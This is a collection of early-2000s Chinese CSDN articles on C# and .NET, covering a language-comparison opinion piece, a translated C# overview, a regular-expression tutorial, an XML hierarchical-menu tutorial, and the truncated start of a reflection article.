如果把C# 和 JAVA 在网络服务领域的争夺比作未来制空权的争夺的话，那么C# 和传统通用快速开发工具——VB、DELPHI等的较量将是地地道道的白刃战。可能最惨的程序员就是VB程序员，在微软，VB就像离任的克林顿，不但失去了所有的光辉，而且乱事缠身。想想吧，VB6写的项目必须用转换工具转换成基于.NET的代码才能在VB7中调入，几乎面目全非。由于VB7遵循为迎合.NET而建立的通用语言规范（CLS），几乎把所有原来只在C++、JAVA等语言中可以运用的特性统统加了进来，只是语法和原来兼容。如果你是第一次在VB7中看到自己的旧VB6项目转换之后的代码，一定要当心你的心脏！所以，努力吧，别告诉我你将就此退休。DELPHI的状况也好不到哪里去，原来的看家本领是做起应用来又快又好，可现在看看最新的VS.NET Beta 1, 你会感到如此熟悉，众多的属性列表、组件……谁让你穷呢，连总设计师都养不住。

其实在编程语言中真正的霸主多年来一直是C++，所有的操作系统和绝大多数的商品软件都是用C++作为主要开发语言的。JAVA的程序员绝大多数也是C++的爱好者，PHP的成功里面也有类似C++的语法的功劳。在操作系统、设备驱动程序、视频游戏等领域，C++在很长的时间内仍将占据主要地位，而在数量最大的应用软件的开发上，C# 很可能取代C++的位置。首先，C# 和JAVA一样，简直就是照搬了C++的部分语法，因此，对于数量众多的C++程序员学习起来很容易上手，另外，对于新手来说，比C++要简单一些。其次，Windows是目前占垄断地位的平台，而开发Windows应用，当然微软的声音是不能忽略的。最重要的是，相对于C++，用C# 开发应用软件可以大大缩短开发周期，同时可以利用原来除用户界面代码之外的C++代码。

但是，C# 也有弱点。首先，在大量的现有Windows平台上，C# 的程序还不能运行，因为C# 程序需要 .NET运行库作为基础，而 .NET运行库将作为新一代的Windows（Whistler）的一部分发行， 或以Service Pack的形式提交给Windows Me 和 Windows 2000用户。所以在近期，C# 会主要在服务器上得到应用。其次，C# 能够使用的组件或库还只有 .NET 运行库等很少的选择，没有丰富的第三方软件库可用，这需要有一个过程，同时各软件开发商的支持也很重要。第三，JAVA的成功因素里有一些是反微软阵营的吹捧，虽然“只写一次，到处运行”只是一句口号，但毕竟已经是一种成熟的技术。而C# 的鼓吹者目前只有名声不佳的微软，且只能运行在Windows上。实际上这两种语言都不是不可替代的，理智的说，对软件开发商而言，什么用的最熟什么就是最好的工具。尤其对C++的使用者，C# 没有带来任何新东西，因为.NET运行库在C++中也可以使用，没有要换的绝对的理由。

综上所述，我个人认为，近几年，C# 将不可避免地崛起，在Windows平台上成为主角，而JAVA将在UNIX、Linux等平台上成为霸主，C++ 将继续在系统软件领域大展拳脚。非常有意思的是，这些语言的语法极其接近，因为JAVA和C# 都是由C++发展而来的。其他的开发工具当然还会在相当长的时间里继续他们的旅程，不过在市场份额上，将不可避免地受到冲击。


csdn_一种新的开发语言C#

  一种新的开发语言C#
作者： 闻怡洋译
C#介绍

在过去的二十年内，C和C++已经成为广泛的应用在商用软件的开发中的开发语言。但是C和C++都提供了一些容易使开发者产生错误的特性，也可以说C和C++的灵活性是牺牲了开发效率。如果和其他的开发语言相比（比如说VB），相同功能的C/C++软件通常会需要更长的开发周期。正是由于C/C++开发的复杂性和需要较长的开发周期，所以许多C/C++开发人员都在寻找一种可以在功能和开发效率间提高更多平衡的开发语言。

目前有一些开发语言通过牺牲C/C++语言的灵活性（一些必要的灵活性）来换取开发效率。有些语言对开发人员产生了过多的限制（比如说限制使用底层控制代码）并且提供更少的通用命名能力（译者：可能是指对变量，函数的引用能力）。这些语言不能够轻易的与现存的系统相结合，并且不能够当前的WEB开发相结合。

一种合理的C/C++替代语言应该是能够提供对现存和潜在的平台上的高效开发提供有效和有力的支持。并可以使WEB开发可以非常方便的与现存的应用开发相结合。而且C/C++开发人员都倾向于在必要的时候使用底层代码。

M$所推出的C#

在这个问题上M$的解决方案是推出一种命名为C#（发音为 C Sharp）的开发语言。C#是一种先进，面向对象的语言，通过C#可以让开发人员快速的建立大范围的基于MS网络平台的应用，并且提供大量的开发工具和服务帮助开发人员开发基于计算和通信的各种应用。

由于C#是一种面向对象的开发语言，所以C#可以大范围的适用于高层商业应用和底层系统的开发。即使是通过简单的C#构造也可以各种组件方便的转变为基于WEB的应用，并且能够通过Internet被各种系统或是其他开发语言所开发的应用调用。

即使抛开上面所提到的优点，C#也可以为C/C++开发人员提供快速的开发手段而不需要牺牲任何C/C++语言的特点/优点。从继承角度来看，C#在更高层次上重新实现了C/C++，熟悉C/C++开发的人员可以很快的转变为C#开发人员。

开发效率与安全性

目前的各种基于WEB应用的软件开发向传统的商业应用软件开发提出了挑战，开发者被组织起来开发具有更短开发周期的各种应用，并且需要能够提供更好的可修正性，而不是建立一个可以长久使用的软件系统。

C#的设计正是充分考虑了这些因素。C#会帮助开发者通过更少的代码完成相同的功能，并且能够更好的避免错误发生。

与WEB开发相结合

新的开发模式意味着需要更好的利用现有的各种WEB标准，例如HTML，XML，SOAP（简单对象存取协议）。现存的开发工具是在Internet出现前或是未得到充分应用前出现的，所以都不能很好的适应目前WEB技术的开发需要。

C#开发者可以方便的在M$网络平台上扩展自己的应用。C#可以将任何组件转变为WEB服务，并且可以被运行于Internet上的任何平台的任何应用调用，重要的是C#对这一特性提供了内置的支持。

更重要的一点，WEB服务框架可以让任何WEB服务都看起来类似于C#的内置对象，所以可以让开发人员在开发过程中继续使用他们已经具备的面向对象的开发方法和技巧。

此外C#还拥有许多其他特性使自己成为最出色的Internet开发工具。例如，XML目前已经成为网络中数据结构传送的标准，为了提高效率C#将允许直接将XML数据映射成为结构。这样的话可以有效的处理各种数据。

减小开发中的错误

即使是优秀的C/C++开发人员都难于避免在编码过程出现一些常见错误，比如错误的初始化一个变量，而这种错误将有可能导致各种不可以预知的错误，并且难于被发现。如果一旦错误在发现前被投入生产环境，排除这些错误将会付出昂贵的代价。而C#的先进设计思想可以消除C/C++开发中的许多常见错误，比如：

垃圾收集机制将减轻开发人员对内存的管理负担。
C#中的变量将自动根据环境被初始化。
变量是类型安全的。
使用C#将会使开发人员更加轻易的开发和维护各种商业应用。

提供内置的版本支持来减少开发费用

更新软件系统中的组件（模块）将会是一种容易产生错误的工作，在代码修改过程中可能对现存的软件产生影响。为了帮助开发人员处理这些问题，C#在语言中内置了版本控制功能。例如：函数重载必须被显式的声明（这种情况在C++和JAVA中时常发生），这可以防止代码级错误和保留版本化的特性。另一个相关的特性是接口和接口继承的支持。这些特性可以保证复杂的软件可以被方便的开发和升级。

总结起来，这些特性可以帮助开发更强壮的软件后继版本和减轻开发费用。

功能强，易于表现，灵活

更好的结合商业应用中的流程与软件实现

为了更好实现公司的各种商业计划，在软件系统中必须在商业流程和软件实现间有紧密的联系。但是大多数的开发语言都不能轻易的将各种应用逻辑与代码相联系。例如，开发人员会使用各种注释来标明各种类所代表抽象商业对象。C#允许使用在任何对象上使用预定义数据或是经过扩展的元数据。在系统结构中可以使用区域属性（译者：类似NT的网络域结构），并且将这些属性添加到类，接口或者其他元素上。开发者可以独立的测试各种元素上的属性。这将会使得一些如同收集区域中对象属性，或是编写自动工具来保证的区域中的类，接口是否被正确定义的类似工作变得简单。

可扩展的协作能力

虽然管理性强，透明型好，类型安全的开发环境对大多的商业应用都适合，但现实的经验告诉我们一些应用出于执行效率或是与现存的应用接口API相结合的原因需要使用原有的开发方式来进行编码。也正是如此，许多C/C++开发人员宁愿放弃使用一些可以提高开发效率的开发工具。C#通过下面的方法来解决这些问题：

内置支持COM模型和Windows平台API。
允许有限制的使用指针。
在C#中任何对象都会自动成为COM对象，开发者不再需要显式的实现IUnknown和其他一些COM接口，同时也可以方便而自然的使用现存的COM对象，而不需要关心这些COM对象是否使用C#开发。

对于使用C#的开发人员来讲，C#允许开发人员调用OS所提供的API。在经过标记的代码区域内使用指针并手工管理内存分配。这可以让C/C++开发人员更快的熟悉和转向C#和并且不需要放弃在以前开发中所形成的开发习惯，而且以前的C/C++代码依然可以被重用。无论是对于COM的支持还是对于API调用的支持都是为了为开发人员提供足够的开发控制能力。

总结

C#是一种先进的，面向对象的开发语言，并且能够方便快捷的MS网络平台建立各种应用和建立能够在网络间相互调用的WEB服务。从开发语言的角度来讲C#可以更好帮助开发人员避免错误，提高工作效率，而且同时具有C/C++的强大功能。

本文原文见：msdn.microsoft.com

译者：C#，是不是又会掀起一场开发的革命呢，就如同VB。不过C#也许会脱离设计者的控制，而变为一个畸形。（也许从我个人来讲对于将开发语言捆绑在操作系统上这种作法并不赞同）不过C#最终还是没有跳离目前开发模式的限制，也许只能够说成是一种更适合MS平台的经过加工的C++。但C#毕竟是一种经过深层思考后所提出的开发语言，这一点上要比其他的开发语言更具优势。因为很多语言都是实验的产物。比如C和JAVA。无论结果如何C#都是值得期待的。

虽然MS现在面临重重危机，但是MS一统天下的野心一点都没有隐藏。:-D


csdn_解读C＃中的规则表达式

  解读C＃中的规则表达式
作者：刘彦青编译
解读C＃中的规则表达式

    多少年来，许多的编程语言和工具都包含对规则表达式的支持，.NET基础类库中包含有一个名字空间和一系列可以充分发挥规则表达式威力的类，而且它们也都与未来的Perl 5中的规则表达式兼容。

    此外，regexp类还能够完成一些其他的功能，例如从右至左的结合模式和表达式的编辑等。

    在这篇文章中，我将简要地介绍System.Text.RegularExpression中的类和方法、一些字符串匹配和替换的例子以及组结构的详细情况，最后，还会介绍一些你可能会用到的常见的表达式。

应该掌握的基础知识
    规则表达式的知识可能是不少编程人员“常学常忘”的知识之一。在这篇文章中，我们将假定你已经掌握了规则表达式的用法，尤其是Perl 5中表达式的用法。.NET的regexp类是Perl 5中表达式的一个超集，因此，从理论上说它将作为一个很好的起点。我们还假设你具有了C#的语法和.NET架构的基本知识。

    如果你没有规则表达式方面的知识，我建议你从Perl 5的语法着手开始学习。在规则表达式方面的权威书籍是由杰弗里·弗雷德尔编写的《掌握表达式》一书，对于希望深刻理解表达式的读者，我们强烈建议阅读这本书。

RegularExpression组合体
    regexp规则类包含在System.Text.RegularExpressions.dll文件中，在对应用软件进行编译时你必须引用这个文件，例如，csc r:System.Text.RegularExpressions.dll foo.cs命令将创建foo.exe文件，它就引用了System.Text.RegularExpressions文件。

名字空间简介
    在名字空间中仅仅包含着6个类和一个定义，它们是：

    Capture: 包含一次匹配的结果；

    CaptureCollection: Capture的序列；

    Group: 一次组记录的结果，由Capture继承而来；

    Match: 一次表达式的匹配结果，由Group继承而来；

    MatchCollection: Match的一个序列；

    MatchEvaluator: 执行替换操作时使用的代理；

    Regex：编译后的表达式的实例。

    Regex类中还包含一些静态的方法：

    Escape: 对字符串中的regex中的转义符进行转义；

    IsMatch: 如果表达式在字符串中匹配，该方法返回一个布尔值；

    Match: 返回Match的实例；

    Matches: 返回一系列的Match的方法；

    Replace: 用替换字符串替换匹配的表达式；

    Split: 返回一系列由表达式决定的字符串；

    Unescape:不对字符串中的转义字符转义。

简单匹配
    我们首先从使用Regex、Match类的简单表达式开始学习。

    Match m = Regex.Match("abracadabra", "(a|b|r)+");

    我们现在有了一个可以用于测试的Match类的实例，例如：if (m.Success)...

    如果想使用匹配的字符串，可以把它转换成一个字符串：

    Console.WriteLine("Match="+m.ToString());

    这个例子可以得到如下的输出: Match=abra。这就是匹配的字符串了。

字符串的替换
    简单字符串的替换非常直观。例如下面的语句：

    string s = Regex.Replace("abracadabra", "abra", "zzzz");

    它返回字符串zzzzcadzzzz，所有匹配的字符串都被替换成了zzzzz。

    现在我们来看一个比较复杂的字符串替换的例子：

    string s = Regex.Replace(" abra ", @"^\s*(.*?)\s*$", "$1");

    这个语句返回字符串abra，其前导和后缀的空格都去掉了。

    上面的模式对于删除任意字符串中的前导和后续空格都非常有用。在C#中，我们还经常使用字母字符串，在一个字母字符串中，编译程序不把字符“ \” 作为转义字符处理。在使用字符“\”指定转义字符时，@"..."是非常有用的。另外值得一提的是$1在字符串替换方面的使用，它表明替换字符串只能包含被替换的字符串。

匹配引擎的细节
    现在，我们通过一个组结构来理解一个稍微复杂的例子。看下面的例子：

    string text = "abracadabra1abracadabra2abracadabra3";

    string pat = @"

        ( # 第一个组的开始

         abra # 匹配字符串abra

         ( # 第二个组的开始

         cad # 匹配字符串cad

         )? # 第二个组结束（可选）

        ) # 第一个组结束

        + # 匹配一次或多次

        ";

    //利用x修饰符忽略注释

    Regex r = new Regex(pat, "x");

    //获得组号码的清单

    int[] gnums = r.GetGroupNumbers();

    //首次匹配

    Match m = r.Match(text);

    while (m.Success)

     {

    //从组1开始

     for (int i = 1; i < gnums.Length; i++)

        {

        Group g = m.Group(gnums[i]);

    //获得这次匹配的组

        Console.WriteLine("Group"+gnums[i]+"=["+g.ToString()+"]");

    //计算这个组的起始位置和长度

        CaptureCollection cc = g.Captures;

        for (int j = 0; j < cc.Count; j++)

         {

         Capture c = cc[j];

         Console.WriteLine(" Capture" + j + "=["+c.ToString()

             + "] Index=" + c.Index + " Length=" + c.Length);

         }

        }

    //下一个匹配

     m = m.NextMatch();

     }

    这个例子的输出如下所示：

    Group1=[abra]

            Capture0=[abracad] Index=0 Length=7

            Capture1=[abra] Index=7 Length=4

    Group2=[cad]

            Capture0=[cad] Index=4 Length=3

    Group1=[abra]

            Capture0=[abracad] Index=12 Length=7

            Capture1=[abra] Index=19 Length=4

    Group2=[cad]

            Capture0=[cad] Index=16 Length=3

    Group1=[abra]

            Capture0=[abracad] Index=24 Length=7

            Capture1=[abra] Index=31 Length=4

    Group2=[cad]

            Capture0=[cad] Index=28 Length=3

    我们首先从考查字符串pat开始，pat中包含有表达式。第一个capture是从第一个圆括号开始的，然后表达式将匹配到一个abra。第二个capture组从第二个圆括号开始，但第一个capture组还没有结束，这意味着第一个组匹配的结果是abracad ，而第二个组的匹配结果仅仅是cad。因此如果通过使用？符号而使cad成为一项可选的匹配，匹配的结果就可能是abra或abracad。然后，第一个组就会结束，通过指定+符号要求表达式进行多次匹配。

    现在我们来看看匹配过程中发生的情况。首先，通过调用Regex的constructor方法建立表达式的一个实例，并在其中指定各种选项。在这个例子中，由于在表达式中有注释，因此选用了x选项，另外还使用了一些空格。打开x选项，表达式将会忽略注释和其中没有转义的空格。

    然后，取得表达式中定义的组的编号的清单。你当然可以显性地使用这些编号，在这里使用的是编程的方法。如果使用了命名的组，作为一种建立快速索引的途径这种方法也十分有效。

    接下来是完成第一次匹配。通过一个循环测试当前的匹配是否成功，接下来是从group 1开始重复对组清单执行这一操作。在这个例子中没有使用group 0的原因是group 0是一个完全匹配的字符串，如果要通过收集全部匹配的字符串作为一个单一的字符串，就会用到group 0了。

    我们跟踪每个group中的CaptureCollection。通常情况下每次匹配、每个group中只能有一个capture，但本例中的Group1则有两个capture：Capture0和Capture1。如果你仅需要Group1的ToString，就会只得到abra，当然它也会与abracad匹配。组中ToString的值就是其CaptureCollection中最后一个Capture的值，这正是我们所需要的。如果你希望整个过程在匹配abra后结束，就应该从表达式中删除+符号，让regex引擎知道我们只需要对表达式进行匹配。

基于过程和基于表达式方法的比较
    一般情况下，使用规则表达式的用户可以分为以下二大类：第一类用户尽量不使用规则表达式，而是使用过程来执行一些需要重复的操作；第二类用户则充分利用规则表达式处理引擎的功能和威力，而尽可能少地使用过程。

    对于我们大多数用户而言，最好的方案莫过于二者兼而用之了。我希望这篇文章能够说明.NET语言中regexp类的作用以及它在性能和复杂性之间的优、劣点。

基于过程的模式
    我们在编程中经常需要用到的一个功能是对字符串中的一部分进行匹配或其他一些对字符串处理，下面是一个对字符串中的单词进行匹配的例子：

    string text = "the quick red fox jumped over the lazy brown dog.";

    System.Console.WriteLine("text=[" + text + "]");

    string result = "";

    string pattern = @"\w+|\W+";

    foreach (Match m in Regex.Matches(text, pattern))

     {

    // 取得匹配的字符串

     string x = m.ToString();

    // 如果第一个字符是小写

     if (char.IsLower(x[0]))

    // 变成大写

        x = char.ToUpper(x[0]) + x.Substring(1, x.Length-1);

    // 收集所有的字符

     result += x;

     }

    System.Console.WriteLine("result=[" + result + "]");

    正象上面的例子所示，我们使用了C#语言中的foreach语句处理每个匹配的字符，并完成相应的处理，在这个例子中，新创建了一个result字符串。这个例子的输出所下所示：

    text=[the quick red fox jumped over the lazy brown dog.]

    result=[The Quick Red Fox Jumped Over The Lazy Brown Dog.]

基于表达式的模式
    完成上例中的功能的另一条途径是通过一个MatchEvaluator，新的代码如下所示：

    static string CapText(Match m)

        {

    //取得匹配的字符串

        string x = m.ToString();

    // 如果第一个字符是小写

        if (char.IsLower(x[0]))

    // 转换为大写

         return char.ToUpper(x[0]) + x.Substring(1, x.Length-1);

        return x;

        }

     static void Main()

        {

        string text = "the quick red fox jumped over the

         lazy brown dog.";

        System.Console.WriteLine("text=[" + text + "]");

        string pattern = @"\w+";

        string result = Regex.Replace(text, pattern,

     new MatchEvaluator(Test.CapText));

        System.Console.WriteLine("result=[" + result + "]");

        }

    同时需要注意的是，由于仅仅需要对单词进行修改而无需对非单词进行修改，这个模式显得非常简单。

常用表达式
    为了能够更好地理解如何在C#环境中使用规则表达式，我写出一些对你来说可能有用的规则表达式，这些表达式在其他的环境中都被使用过，希望能够对你有所帮助。

罗马数字
    string p1 = "^m*(d?c{0,3}|c[dm])" + "(l?x{0,3}|x[lc])(v?i{0,3}|i[vx])$";

    string t1 = "vii";

    Match m1 = Regex.Match(t1, p1);

交换前二个单词
    string t2 = "the quick brown fox";

    string p2 = @"(\S+)(\s+)(\S+)";

    Regex x2 = new Regex(p2);

    string r2 = x2.Replace(t2, "$3$2$1", 1);

关健字=值
    string t3 = "myval = 3";

    string p3 = @"(\w+)\s*=\s*(.*)\s*$";

    Match m3 = Regex.Match(t3, p3);

实现每行80个字符
    string t4 = "********************"

     + "******************************"

     + "******************************";

    string p4 = ".{80,}";

    Match m4 = Regex.Match(t4, p4);

月/日/年 小时:分:秒的时间格式
    string t5 = "01/01/01 16:10:01";

    string p5 = @"(\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+)";

    Match m5 = Regex.Match(t5, p5);

改变目录（仅适用于Windows平台）
string t6 = @"C:\Documents and Settings\user1\Desktop\";

string r6 = Regex.Replace(t6,@"\\user1\\", @"\\user2\\");

扩展16位转义符
    string t7 = "%41"; // capital A

    string p7 = "%([0-9A-Fa-f][0-9A-Fa-f])";

    string r7 = Regex.Replace(t7, p7, HexConvert);

删除C语言中的注释（有待完善）
    string t8 = @"

    /*

     * 传统风格的注释

     */

    ";

    string p8 = @"

     /\* # 匹配注释开始的定界符

     .*? # 匹配注释

     \*/ # 匹配注释结束定界符

    ";

    string r8 = Regex.Replace(t8, p8, "", "xs");

删除字符串中开始和结束处的空格
    string t9a = " leading";

    string p9a = @"^\s+";

    string r9a = Regex.Replace(t9a, p9a, "");

    string t9b = "trailing ";

    string p9b = @"\s+$";

    string r9b = Regex.Replace(t9b, p9b, "");

    在字符\后添加字符n，使之成为真正的新行

    string t10 = @"\ntest\n";

    string r10 = Regex.Replace(t10, @"\\n", "\n");

转换IP地址
    string t11 = "55.54.53.52";

    string p11 = "^" +

     @"([01]?\d\d|2[0-4]\d|25[0-5])\." +

     @"([01]?\d\d|2[0-4]\d|25[0-5])\." +

     @"([01]?\d\d|2[0-4]\d|25[0-5])\." +

     @"([01]?\d\d|2[0-4]\d|25[0-5])" +

     "$";

    Match m11 = Regex.Match(t11, p11);

删除文件名包含的路径
    string t12 = @"c:\file.txt";

    string p12 = @"^.*\\";

    string r12 = Regex.Replace(t12, p12, "");

联接多行字符串中的行
    string t13 = @"this is

    a split line";

    string p13 = @"\s*\r?\n\s*";

    string r13 = Regex.Replace(t13, p13, " ");

提取字符串中的所有数字
    string t14 = @"

    test 1

    test 2.3

    test 47

    ";

    string p14 = @"(\d+\.?\d*|\.\d+)";

    MatchCollection mc14 = Regex.Matches(t14, p14);

找出所有的大写字母
    string t15 = "This IS a Test OF ALL Caps";

    string p15 = @"(\b[^\Wa-z0-9_]+\b)";

    MatchCollection mc15 = Regex.Matches(t15, p15);

找出小写的单词
    string t16 = "This is A Test of lowercase";

    string p16 = @"(\b[^\WA-Z0-9_]+\b)";

    MatchCollection mc16 = Regex.Matches(t16, p16);

找出第一个字母为大写的单词
    string t17 = "This is A Test of Initial Caps";

    string p17 = @"(\b[^\Wa-z0-9_][^\WA-Z0-9_]*\b)";

    MatchCollection mc17 = Regex.Matches(t17, p17);

找出简单的HTML语言中的链接
    string t18 = @"

    <html>

    <a href=""first.htm"">first tag text</a>

    <a href=""next.htm"">next tag text</a>

    </html>

    ";

    string p18 = @"<A[^>]*?HREF\s*=\s*[""']?" + @"([^'"" >]+?)[ '""]?>";

    MatchCollection mc18 = Regex.Matches(t18, p18, "si");


csdn_用C＃与XML创建动态分层菜单

  用C＃与XML创建动态分层菜单
作者： 青苹果工作室
从在复杂的B2B交易中的交换数据到为应用程序提供配置文件结构，XML在许多方面大显身手！由于XML不断地获得软件的支持，我们完全能够预见：XML的应用将不断增加。本文就介绍这样一种应用程序，它使用XML创建类似于Windows开始菜单的分层菜单系统，从而向终端用户提供更满意的Web体验。

    这个应用程序将使用 C#、XML和服务器端Microsoft .Net框架，创建一个 DHTML 结构，IE4 或更高版本的浏览器可以操作它并在客户端动态显示。由于我们可以快速地访问服务器上的XML，并且XML能够描述层次之间的关系，因此它成为标记“父/子菜单”数据的一个最佳选择。

    （一个三层菜单系统，可点击放大）

    除了学习如何使用XML创建一个菜单应用程序外，我们还要介绍 .Net框架的主要 XML 类，它们位于 System.Xml 集合中。

什么是.Net集合（Assembly）
    要在 C# 文件中使用XML，就必须引用一个特定的名称空间。 .Net平台中的一个名称空间是作为一个程序组件的组织系统使用的，它对于解决命名冲突很重要，这一点很象 XML中的 名称空间。这个基于 XML的菜单系统是用位于System.Xml集合中的System.Xml名称空间创建的。.Net SDK 是这样定义集合的：一个集合就是一个类型和资源的汇集信息，这些类和资源一起使用，形成一个功能的逻辑单元，即一个“逻辑”dll。

    一个集合需要许多物理文件，如界面、类、资源文件等等，并且创建了关于文件如何一起工作的元数据。集合中还可能包含版本及安全信息。集合有许多好处，其中之一就是可以在ASP.NET应用程序中使用，而无须用regsvr32.exe向注册文件中增加一个类识别号（CLSID）。这样以来，集合的升级操作与将适当的集合复制到一个ASP.NET 应用程序的bin 目录中一样简单。现在我们就来仔细看一看那些建立在System.Xml名称空间和集合中的类。

    如果你以前使用过Microsoft的 MSXML3分解器，就会发现使用System.Xml 集合中的类相当简单。这里的菜单应用程序只使用了这些主要集合类中的一部分：XmlNode、 XmlDocument、 XmlNodeList、 XmlNamedNodeMap、 DocumentNavigator、 XmlTextReader和 XmlTextWriter。

    XmlDocument、 XmlNodeList和XmlNode类用来创建传递给客户端浏览器的菜单应用程序的结构。用XmlDocument类以一种安全线程（thread-safe）的方式从服务器上装载和分解本地或远程XML 文档。建立在一个字符串中的 XML标记也可以被装载或分解，从而在一个文档中创建、移动节点或取消节点的移动。XmlNodeList 类可以使我们列举一个节点的集合来访问一个特定属性，如名称、值或名称空间。最后，XmlNode类可以用来在XML文档中向一个用于检验的XmlNode 对象分配一个特定节点。

    XmlNamedNodeMap类用来列举建立在一个元素类型选择中的属性集合。 DocumentNavigator、 XmlTextReader和XmlTextWriter类提供与XML一起使用所需要的额外功能。要特别说明的是，DocumentNavigator可以用来执行XPath查询，它被包含在XSLT转换中。XmlTextReader类提供对XML节点的只向前（forward-only）、无缓存的访问，从而使XML节点对大型XML文档也同样生效。XmlTextWriter类提供一个快速、只向前的指针模型，实现将 XML 内容写到一个流或一个文件中的目的。

    在菜单应用程序中使用的XML 文档相对来说是较小的，因此我们可以在服务器端使用文档对象模式（DOM）来存取XML文档中的不同节点。当分解大型 XML文档时，就需要使用XmlTextReader 类所含有的只向前模型。

XML 代码
    菜单应用程序使用了3个 XML 文档：menuItems.xml、menuItems2.xml 和menuItems3.xml，它们用于标记单独的菜单项目。XML的处理和操作由一个叫做xmlMenus.dll的集合完成，这个集合被服务器端的一个ASP.NET 文件createMenus.aspx所使用。在客户端的动态HTML (DHTML)内容使用了一个层叠格式表文件和一个JavaScript文件，这些文件联合在一起生成了本文开始部分的图示结果。

我们在List 1的代码显示了用来标记单独菜单项目的XML文档的一部分。文档中的主元素命名为menuItem，它可以包含一个名字和超级链接元素以及额外的menuItem 子元素。这种关系可以用来创建包含子菜单的菜单系统，就象Windows的开始菜单一样。
    由于 XML已经标出了分层关系，因此就可以利用循环在不同元素之间行走：当使用XmlDocument、XmlNode和XmlNodeList类创建子节点时，我们可以反复调用WalkTree() 函数以颠倒父/子关系。其它的类如 ArrayList和 StreamWriter用于将相关菜单归类到数组中，然后在适当时间将所生成的菜单结构写入一个文件中。

    XmlMenus集合的代码开始时要声明一个XmlHierMenu 名称空间，接下来要引用 System、 System.Xml、 System.Collections和System.IO 名称空间：

    using System;

    using System.Xml;

    using System.Collections;

    using System.IO;

    在这部分代码之后要创建3个构造器。一个构造器不接收变量，只对变量进行初始化。下一个构造器接收一个图象文件的定制路径。最后一个构造器在不经常对XML菜单进行刷新的情况下，允许将由集合生成的输出存储到一个文件中。最后一个构造器所生成的文件可以被静态地包含在一个 ASP.NET文件中，而不是在各个Web页面请求时随时地生成。

在构造器之后，开始定义 CreateMenu()方法，具体请看List 2中的代码。
这个方法负责进行XML文档的装载和解析，找到根节点，然后在根的子节点之间循环。如果发现一个子节点本身还有子节点，就调用WalkTree() 方法，并且把这些子节点都传递到其中。如果这些子节点还有子节点，就再次调用 WalkTree()。这个过程循环进行直到不再发现增加的子节点。Walktree()方法的代码可以参看List 3。
    在调用 WalkTree()方法并且对不同的节点进行分析的同时，要解析 menuItem节点，将来自其超级链接和名字节点的数据放在数组列表中。对整个 XML文档都进行解析之后，数组列表的内容就被传递回调用的ASP.NET的页面，然后使用Response对象写出信息。从这时起，客户端的 JavaScript代码就开始控制DHTML 菜单了。

    在服务器端，我们使用一个 ASP.NET页面来开始菜单的创建过程。这个页面输入了与集合相关联的名称空间XmlHierMenu：

    <%@ page language="C#" %>

    <%@ Import Namespace="XmlHierMenu" %>

然后，将样式表文件和 JavaScript文件包含在文件的 代码区中。最后，在 ASP.NET 页面底部的代码用来引用上面提到的CreateMenu() 方法与WalkTree()方法，请看List 4。
    在ASP.NET 页面中所找到的C# 代码只是建立了到不同的XML文档的路径，并且对 XmlMenu 类进行了例示。一旦对这个类进行了例示，就对 CreateMenu()方法进行调用。这个方法接收菜单名以及到这个菜单的XML文档的文件路径。在本例中，要创建3个名为menu1、 menu2和 menu3 的菜单，然后在一个ASP.NET页面中使用。这个应用程序在一个给定页面中可以支持无穷多的菜单，但是我们建议菜单数目不要过多，因为每增加一个菜单，发送到客户端的文件规模都会增加。

编译 C# 文件
    现在我们已经看到了菜单应用程序的结构，接下来讨论一下使用哪些开关可以将C# 文件编译到一个集合中。在 .Net SDK 文档中，我们可以查询到一个所有编译开关的完整列表。

    要想正确地编译 C# 文件以使它能用于一个ASP.NET 页面中，编译器就必须要知道包含了System.Xml 集合。这可以通过使用 /r 开关并在后面加上到集合的完整路径来完成。由于将要创建的 dll是一个库，因此就必须指定 /t开关，这样编译器就不再寻找一个静态的 Main() 方法。最后一个需要的开关是 /out ，它将告诉编译器输出的文件名是什么，以及将其放在哪里。

    所有对 C# 编译器的调用都以 csc （C# 编译器）开始，然后指定适当的开关。编译器语法的最后一部分包括到已创建的 .cs 文件的路径。请看下面的编译文件的完整语法格式：

    C:\>csc /r:System.Xml.dll /

    t:library /out:d:\inetpub\wwwroot\

    xml\bin\xmlMenus.dll d:\inetpub\

    wwwroot\xml\menus\xmlMenus.cs

    这行命令告诉编译器包含 System.Xml 集合、将文件作为一个库进行编译、将文件输出到 bin目录中、输入文件命名为xmlMenus.cs，输出文件名叫xmlMenus.dll。当输入回车键后，.cs文件就进行编译，生成的 dll将被放置在适当的文件夹中。

结束语
    本文通过讲解一个应用程序的思路及实现代码，使我们对于使用Microsoft .Net平台中的一些集合和类有了一个很好的了解。随着进一步的学习，我们将看到，还会有其它一些集合和类可以以多种方式与本地和远程XML文档一起工作。


csdn_.net的reflection (1)

  .net的reflection (1)
飞鹰编译
在我的文章《C#基于接口的编程》中，我谈论了使用抽象的接口作为编程范例的各种优点。分离接口和执行过程，现在肯定不是新的思想，实际上它是com编程的核心。也许基于接口的在显著的特征是多态性和即时检查(RTTI).RTTI允许客户端程序在运行时访问对象。例如，如果一个对象执行IAthlete接口，一个客户端程序能够查找然后绑定这个接口用于调用和定位另一个接口。
查询接口是强大的，是com+的基础。同时，它对能够在一个对象上执行接口导向又是极端有用的和明确必要的，这是.net一个特别重要的概念。在介绍这个概念之前，让我们再回顾一些信息关于在.net中功能性和分布的基础元素－－集合。
在COM(+),组件展开的逻辑和物理单元是一个.dll文件。在.net平台中，展开的基础单元是集合。与COM(+)组件不同的是一个.net或许是有多个文件组成，尽管它被看作是一个单一的何不可分割的功能和执行单元。一个集合文件也是自描述的，它包含被称之为中间语言的管制代码和附加的元数据，这个元数据给想绑定到这些代码的客户提供丰富的信息。.net的每个集合是著名的清单数据结构。清单包含下列信息：
1、姓名和版本信息
2、其它集合的参考信息
3、安全边界的信息。
4、集合中所有类型的信息

毫无疑问，集合清单类似于COM(+)的类型库。清单有在类型库中不存在的优点。这个超过了这一课的范围，我们将在这篇文章的第二部分进行讲述。被利用.net集合的客户端程序将要使用清单。因为每个集合包含元数据的许多信息，客户程序在运行时能够得到集合的内容。这个过程就叫做reflection.Reflection不仅能够查询基础类，而且运行时能动态调用方法，甚至于输出能够直接执行的IL代码。在你的代码中有两种方法来使用reflection,Reflection API 和 System.Reflection 名字空间。System.reflection是极端负责的，它包含将近40个类。在文章的其他部分，我将介绍reflection的基础，如何用它区查询集合类，方法，以及运行时调用方法的类型。为了示范在.net中的reflection名字空间，我将用下面的"reflection"类来说明：

// Reflect.cs
namespace CSharpReflectionSamples
{
using System;

/// <summary>
/// The reflect class will be used to demonstrate the basics of
/// .NET reflection. This class contains private member vars,
